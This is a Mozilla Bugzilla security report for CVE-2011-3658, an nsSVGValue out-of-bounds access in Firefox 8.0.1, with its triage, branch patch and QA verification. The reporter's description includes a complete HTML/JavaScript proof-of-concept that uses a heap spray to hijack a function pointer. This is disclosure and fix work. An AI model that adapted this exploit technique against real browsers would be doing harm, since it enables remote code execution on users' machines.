The default bug view has changed. See this FAQ.
Bug 708186 (CVE-2011-3658)

[8.0.1] nsSVGValue Out-of-Bounds Access (ZDI-CAN-1414)

VERIFIED FIXED in Firefox 9

Status

()

Core
SVG
--
critical
VERIFIED FIXED
5 years ago
2 years ago

People

(Reporter: dveditz, Assigned: birtles)

Tracking

({regression, verified-beta, verified1.9.2})

8 Branch
mozilla9
regression, verified-beta, verified1.9.2
Points:
---

Firefox Tracking Flags

(firefox8 wontfix, firefox9 verified, firefox10 verified, firefox11 verified, firefox-esr10 unaffected, blocking1.9.2 .28+, status1.9.2 .28-fixed)

Details

(Whiteboard: [sg:critical][qa!] fixed in Fx9 by bug 602759, crash signature)

Attachments

(1 attachment, 3 obsolete attachments)

1.28 KB, patch
dholbert
: review+
jwatt
: review+
Details | Diff | Splinter Review
(Reporter)

Description

5 years ago
Created attachment 579593 [details]
PoC from comment 0

ZDI-CAN-1414: Mozilla Firefox nsSVGValue Out-of-Bounds Access Remote
Code Execution Vulnerability


-- CVSS -----------------------------------------

7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P


-- ABSTRACT -------------------------------------

TippingPoint has identified a vulnerability affecting the following
products:

  Mozilla Firefox


-- VULNERABILITY DETAILS ------------------------

Version(s) Tested: Mozilla Firefox 8.0.1
Platform(s) Tested: Windows XP SP3

---------------------
Vulnerability details
---------------------

The notification of nsSVGValue observers via
nsSVGValue::NotifyObservers(SVGObserverNotifyFunction f,
modificationType aModType) uses a loop which can result in an
out-of-bounds access to attacker controlled memory. Provided below the
code for this function from content/src/nsSVGValue.cpp:

nsSVGValue::NotifyObservers(SVGObserverNotifyFunction f,
                            modificationType aModType)
{
  PRInt32 count = mObservers.Length();

  // Since notification might cause the listeners to remove themselves
  // from the observer list (mod_die), walk backwards through the list
  // to catch everyone.
  for (PRInt32 i = count - 1; i >= 0; i--) {
    nsIWeakReference* wr = mObservers.ElementAt(i);
    nsCOMPtr<nsISVGValueObserver> observer = do_QueryReferent(wr);
    if (observer)
       (static_cast<nsISVGValueObserver*>(observer)->*f)(this, aModType);
  }
}

The variable "count" is set once from mObservers.Length() before the
loop begins. During each loop iteration, a pointer to is acquired via
a call to mObservers.ElementAt(i);. An attacker may register an
observer of nsSVGValue which removes elements from the array, thus
making the "count" reflect an invalid amount of elements. The
mObserver function ElementAt() does not validate that the index is not
out of bounds. The combination of these behaviors means that
subsequent iterations of the loop will access memory which is outside
the bounds of the array. Through manipulation of memory layout, the
memory accessed from these out-of-bounds indexes can be controlled by
the attacker, and thus result in remote arbitrary code execution.

The code below demonstrates registration of an observer which removes
elements and triggers the vulnerability:
---------------
Begin Code Snip
---------------

<html>
<head>
<script>
var container = [];
var tls = [];
var rect = null;
var big = null;
var small = null;

function listener() {
  rect.removeEventListener("DOMAttrModified", listener, false);

  for each (tl in tls)
    tl.clear();

  // gc & heap spray
  for (i = 0; i < (1<<7); ++i)
    container.push(unescape(big));
  for (i = 0; i < (1<<22); ++i)
    container.push(unescape(small));
}

function run() {
  var svg = document.getElementById("svg");
  rect = document.getElementById("rect");

  for (i = 0; i < (1<<13); ++i) {
    rect = rect.cloneNode(false);
    var atl = rect.transform;
    var tl = atl.baseVal;
    tls.push(tl);
  }

  const addr = unescape("%uc0c0");
  big = addr;
  while (big.length != 0x100000)
    big += big;

  small = addr;
  while (small.length != 15)
    small += addr;

  var trans = svg.createSVGTransform();
  for each (tl in tls)
    tl.appendItem(trans);

  rect.addEventListener("DOMAttrModified", listener, false);
  var matrix = svg.createSVGMatrix();
  trans.setMatrix(matrix);

  alert("PoC failed");
}
</script>
</head>
<body onload="run();">
  <svg id="svg">
    <rect
      id="rect"
      x="0"
      y="0"
      width="10"
      height="10"
      fill="red"
      stroke="black"/>
  </svg>
</body>
</html>

----------------
End of Code Snip
----------------

This code will register an observer which removes elements and
populates memory with the value c0c0c0c0. This memory is used to look
up a function pointer which is then called.

-- CREDIT ---------------------------------------

This vulnerability was discovered by:

   regenrecht
(Reporter)

Comment 1

5 years ago
I can confirm the crash in Firefox 8.0.1
bp-1f540d57-f4d7-4366-b100-0e7fe2111206
Whiteboard: [sg:critical]
(Reporter)

Comment 2

5 years ago
but doesn't crash in a 9.0 beta from a couple weeks ago
http://hg.mozilla.org/releases/mozilla-beta/rev/d930274ef409
(Reporter)

Comment 3

5 years ago
I'd like to blame the complete removal of nsSVGValue in bug 690486 for fixing this, but that didn't land until the Firefox 10 cycle. Event changes, maybe?
(Reporter)

Updated

5 years ago
Summary: nsSVGValue Out-of-Bounds Access (ZDI-CAN-1414) → [8.0.1] nsSVGValue Out-of-Bounds Access (ZDI-CAN-1414)
(Reporter)

Updated

5 years ago
Crash Signature: [@ nsQueryReferent::operator() ]
(Reporter)

Updated

5 years ago
status1.9.2: --- → unaffected
status-firefox10: --- → fixed
status-firefox11: --- → fixed
status-firefox8: --- → affected
status-firefox9: --- → fixed
Keywords: regression, regressionwindow-wanted
(Reporter)

Comment 4

5 years ago
The fix range on mozilla central was between 2011-09-26 and 2011-09-27. Eyeballing the mozilla-inbound merge I'd guess bug 602759 which was a largish SVG change and dealt with transforms and matrices. But nsSVGValue::NotifyObservers was unchanged so maybe there's another way to cause the listeners to be removed at the right time?
(Reporter)

Updated

5 years ago
Depends on: 690486, 602759
Whiteboard: [sg:critical] → [sg:critical] fixed in Fx9? Fx10 for sure
(Reporter)

Updated

5 years ago
Alias: CVE-2011-3658
(Assignee)

Comment 5

5 years ago
I'd say bug 602759 is most likely responsible for fixing it. It thoroughly revises the lifetimes of SVG matrix and transform objects. Unfortunately it's a pretty large set of patches.
No longer depends on: 690486
(Assignee)

Comment 6

5 years ago
Confirming that this appears to be fixed for me in current 9.0 beta on Win 7. Since there is no plan for 8.0.2 I suppose the fix for this will be when we ship 9.0 in two weeks.

Why is there a question about "fixed in Fx9" on the whiteboard? Has someone been able to reproduce this in Fx9?
(In reply to Brian Birtles (:birtles) from comment #6)
> Why is there a question about "fixed in Fx9" on the whiteboard? Has someone
> been able to reproduce this in Fx9?

I think that was based on comment 2 vs. comment 3 (when the latest hypothesized fix was something that hadn't landed until the Firefox 10 timeframe).

Comment 4 - 6 cleared up what the actual fix was.  I think you're clear to remove that whiteboard text, based on comment 6.
(Assignee)

Comment 8

5 years ago
(In reply to Daniel Holbert [:dholbert] from comment #7)
> (In reply to Brian Birtles (:birtles) from comment #6)
> > Why is there a question about "fixed in Fx9" on the whiteboard? Has someone
> > been able to reproduce this in Fx9?
> 
> I think that was based on comment 2 vs. comment 3 (when the latest
> hypothesized fix was something that hadn't landed until the Firefox 10
> timeframe).
> 
> Comment 4 - 6 cleared up what the actual fix was.  I think you're clear to
> remove that whiteboard text, based on comment 6.

Cheers. So can I mark this resolved fixed, target milestone: mozilla9?
Whiteboard: [sg:critical] fixed in Fx9? Fx10 for sure → [sg:critical] fixed in Fx9
(In reply to Brian Birtles (:birtles) from comment #8)
> Cheers. So can I mark this resolved fixed, target milestone: mozilla9?

I'm currently generating local targeted builds from before & after bug 602759's patches, just to be absolutely sure that that's what fixed this.  Once I've confirmed that (or if you're already confident enough) then I think that's the right next step, yeah.

Reassigning to birtles, since he (along with dveditz) have done the investigative work here, and it appears he wrote the patch that fixed this. :)  (also, I only just now noticed that this had been assigned to me -- sorry for not picking up on that quicker. :))
Assignee: dholbert+bmo → birtles
(In reply to Daniel Holbert [:dholbert] from comment #9)
> (In reply to Brian Birtles (:birtles) from comment #8)
> > Cheers. So can I mark this resolved fixed, target milestone: mozilla9?
> 
> I'm currently generating local targeted builds from before & after bug
> 602759's patches, just to be absolutely sure that that's what fixed this. 
> Once I've confirmed that (or if you're already confident enough) then I
> think that's the right next step, yeah.

Confirmed -- build from parent of bug 602759's patches ( 22ae18b4d013 ) crashes -- build from the final patch ( dbde35bf04e9 ) pops up a dialog saying "PoC failed".

So, resolving as FIXED by bug 602759, and setting target milestone to mozilla9 to match that bug.
Status: NEW → RESOLVED
Last Resolved: 5 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla9
(Reporter)

Updated

5 years ago
status-firefox8: affected → wontfix
Whiteboard: [sg:critical] fixed in Fx9 → [sg:critical] fixed in Fx9 by bug 602759
Whiteboard: [sg:critical] fixed in Fx9 by bug 602759 → [sg:critical] fixed in Fx9 by bug 602759 [qa+]
Fix works on OS X 10.7 (Lion)
Will try Windows an Linux next.
Verified on Windows 7.  However, I wasn't able to get the debug FF9 Beta to run on my Virtual Machine.  So I verified this on a non-debug version of the beta 9.
Verified in Ubuntu 11 as well.  All looks good.
Status: RESOLVED → VERIFIED
Keywords: verified-beta
Whiteboard: [sg:critical] fixed in Fx9 by bug 602759 [qa+] → [sg:critical] fixed in Fx9 by bug 602759 [qa!:9]
Created attachment 595063 [details]
POC for 3.6.x (tested under Linux)

Reporter has contacted us stating that 3.6.x is affected by this. He sent an updated POC and the following backtrace.

###!!! ASSERTION: invalid array index: 'i < Length()', file ../../../../dist/include/nsTArray.h, line 317
###!!! ASSERTION: invalid array index: 'i < Length()', file ../../../../dist/include/nsTArray.h, line 317

Program received signal SIGSEGV, Segmentation fault.
0xb72eb430 in nsQueryReferent::operator() (this=0xbfffd2cc, aIID=..., answer=0xbfffd280) at nsWeakReference.cpp:88
88	        if ( NS_FAILED(status = mWeakPtr->QueryReferent(aIID, answer)) )
(gdb) x/i $pc
=> 0xb72eb430 <nsQueryReferent::operator()(nsID const&, void**) const+36>:	mov    (%eax),%ecx
(gdb) i r eax ecx
eax            0xc	12
ecx            0xbfffd280	-1073753472
(gdb) bt
#0  0xb72eb430 in nsQueryReferent::operator() (this=0xbfffd2cc, aIID=..., answer=0xbfffd280) at nsWeakReference.cpp:88
#1  0xb6cb2525 in nsCOMPtr<nsISVGValueObserver>::assign_from_helper (this=0xbfffd2c8, helper=..., aIID=...) at ../../../../dist/include/nsCOMPtr.h:1249
#2  0xb6cb22fd in nsCOMPtr<nsISVGValueObserver>::nsCOMPtr (this=0xbfffd2c8, helper=...) at ../../../../dist/include/nsCOMPtr.h:621
#3  0xb6cb1e43 in nsSVGValue::NotifyObservers (this=0xab2b0544, f=&virtual table offset 20, aModType=nsISVGValue::mod_other)
    at content/svg/content/src/nsSVGValue.cpp:68
#4  0xb6cb1fb4 in nsSVGValue::DidModify (this=0xab2b0544, aModType=nsISVGValue::mod_other) at content/svg/content/src/nsSVGValue.cpp:87
#5  0xb6cab559 in nsSVGTransform::SetMatrix (this=0xab2b0540, matrix=0xab2b0a00) at content/svg/content/src/nsSVGTransform.cpp:256
#6  0xb736c76f in NS_InvokeByIndex_P () at xpcom/reflect/xptcall/src/md/unix/xptcinvoke_gcc_x86_unix.cpp:69
#7  0xb6171901 in XPCWrappedNative::CallMethod (ccx=..., mode=XPCWrappedNative::CALL_METHOD)
    at js/src/xpconnect/src/xpcwrappednative.cpp:2722
#8  0xb617e560 in XPC_WN_CallMethod (cx=0xaf9a4c00, obj=0xa47a4d60, argc=1, argv=0xaaf6e0c8, vp=0xbfffd864)
    at js/src/xpconnect/src/xpcwrappednativejsops.cpp:1740
#9  0xb5c9b765 in js_Invoke (cx=0xaf9a4c00, argc=1, vp=0xaaf6e0c0, flags=2) at js/src/jsinterp.cpp:1360
#10 0xb5c89acd in js_Interpret (cx=0xaf9a4c00) at js/src/jsops.cpp:2240
#11 0xb5c9b7ae in js_Invoke (cx=0xaf9a4c00, argc=1, vp=0xaaf6e024, flags=0) at js/src/jsinterp.cpp:1368
#12 0xb5c9ba20 in js_InternalInvoke (cx=0xaf9a4c00, obj=0xa475b480, fval=-1535364928, flags=0, argc=1, argv=0xaaf6e020, rval=0xbfffdf54)
    at js/src/jsinterp.cpp:1423
#13 0xb5c24868 in JS_CallFunctionValue (cx=0xaf9a4c00, obj=0xa475b480, fval=-1535364928, argc=1, argv=0xaaf6e020, rval=0xbfffdf54)
    at js/src/jsapi.cpp:5099
#14 0xb695a2e3 in nsJSContext::CallEventHandler (this=0xaf9f3840, aTarget=0xb45a5430, aScope=0xa475b480, aHandler=0xa47c30c0, aargv=0xa473b3e0, arv=0xbfffe158)
    at dom/base/nsJSEnvironment.cpp:2205
#15 0xb69d8a0a in nsJSEventListener::HandleEvent (this=0xa4796280, aEvent=0xa473a4c0) at dom/src/events/nsJSEventListener.cpp:269
...
blocking1.9.2: --- → ?
status1.9.2: unaffected → wanted
Created attachment 597117 [details]
Additional 1.9.2 PoC #1

Further 1.9.2 PoC's from the reporter.
Created attachment 597118 [details]
Additional 1.9.2 PoC #2
Created attachment 597120 [details]
Additional 1.9.2 PoC #3
Comment 14 may be related to this bug, but the other three (comment 15 - 17) are unrelated and need a separate bug. Their source doesn't mention SVG at all (including the crash-backtrace included inline in each one, so it's highly unlikely that they have anything to do with this bug here.
All right. I'll open another bug for these three. Of course, with 1.9.2 exiting support soon, this may not get fixed.
(Reporter)

Comment 20

5 years ago
the patches in bug 602759 are uncomfortably large for taking on the 1.9.2 branch. Is there any smaller subset of the larger change that solves this security bug?
blocking1.9.2: ? → .28+
status-firefox-esr10: --- → unaffected
(Assignee)

Comment 21

5 years ago
(In reply to Daniel Veditz [:dveditz] from comment #20)
> the patches in bug 602759 are uncomfortably large for taking on the 1.9.2
> branch. Is there any smaller subset of the larger change that solves this
> security bug?

At a glance, I don't think so. I think it's either (a) land the lot, or (b) write another patch just to fix this problem. (b) is do-able but could possibly be a few days' work. I'm can do (b) if you think it's worthwhile.
(In reply to Al Billings [:abillings] from comment #19)
> All right. I'll open another bug for these three. Of course, with 1.9.2
> exiting support soon, this may not get fixed.

This is bug 730441.
(Reporter)

Updated

5 years ago
Attachment #597117 - Attachment is private: true
(Reporter)

Updated

5 years ago
Attachment #597117 - Attachment is obsolete: true
Attachment #597117 - Attachment is private: false
(Reporter)

Updated

5 years ago
Attachment #597118 - Attachment is obsolete: true
(Reporter)

Updated

5 years ago
Attachment #597120 - Attachment is obsolete: true
(Reporter)

Comment 23

5 years ago
The PoC for 3.6.x looks like the original bug
bp-a5b0bee3-405d-48c0-beb3-077502120224

Are we sure there's nothing less than a 350K 15-part patch that can fix this? How cleanly does bug 602759 apply to the old branch?
(Assignee)

Comment 24

5 years ago
Created attachment 601171 [details] [diff] [review]
Possible patch v1a

Based on the description in comment 0 I've written a simple patch to copy the array before iterating over it. It seems to fix the second attachment, "POC for 3.6.x"---crashes without patch applied, displays "PoC failed" with patch.
Attachment #601171 - Flags: review?(dholbert)
Comment on attachment 601171 [details] [diff] [review]
Possible patch v1a

Looks good to me! Might have a small perf impact (probably good to watch m.d.tree-management after this lands), but it's probably worth it for the security win.

(It's probably possible to do this in such a way as to not require the copy, but that'd probably be a scarier patch to land on a branch, so I think this is fine.)

I'd like for someone else to sign off on this, too -- maybe jwatt?
Attachment #601171 - Flags: review?(jwatt)
Attachment #601171 - Flags: review?(dholbert)
Attachment #601171 - Flags: review+

Updated

5 years ago
Attachment #601171 - Flags: review?(jwatt) → review+
(Assignee)

Comment 26

5 years ago
Comment on attachment 601171 [details] [diff] [review]
Possible patch v1a

Requesting approval to land on 1.9.2 branch.

I think this is probably the minimal patch that will fix this bug. The primary risk is simply that it is difficult to test without try server. We'll have to watch tbpl and back out as necessary. Also, there may be a perf hit so we'll have to watch tree management too as Daniel noted in comment 25.
Attachment #601171 - Flags: approval1.9.2.28?
(Reporter)

Comment 27

5 years ago
Comment on attachment 601171 [details] [diff] [review]
Possible patch v1a

Approved for 1.9.2.28, a=dveditz for release-drivers
Attachment #601171 - Flags: approval1.9.2.28? → approval1.9.2.28+
(Assignee)

Comment 28

5 years ago
Pushed:
https://hg.mozilla.org/releases/mozilla-1.9.2/rev/2b31786f3b3e
(Reporter)

Updated

5 years ago
status1.9.2: wanted → .28-fixed
With Firefox 3.6.28, the "PoC for 3.6" attachment displays an alert box stating "PoC failed". Is this the expected result?
status-firefox9: fixed → verified
Keywords: verified1.9.2
Whiteboard: [sg:critical] fixed in Fx9 by bug 602759 [qa!:9] → [sg:critical][qa+] fixed in Fx9 by bug 602759
Keywords: verified1.9.2
(Assignee)

Comment 30

5 years ago
(In reply to Anthony Hughes, Mozilla QA (irc: ashughes) from comment #29)
> With Firefox 3.6.28, the "PoC for 3.6" attachment displays an alert box
> stating "PoC failed". Is this the expected result?

Yes, that is the expected result.
Thanks Brian.
Keywords: verified1.9.2
Verified in FF 11 Beta 6.
status-firefox11: fixed → verified
Verified in FF 10.0.2.
status-firefox10: fixed → verified

Updated

5 years ago
Whiteboard: [sg:critical][qa+] fixed in Fx9 by bug 602759 → [sg:critical][qa!] fixed in Fx9 by bug 602759
(Reporter)

Updated

5 years ago
Group: core-security
Keywords: regressionwindow-wanted
You need to log in before you can comment on or make changes to this bug.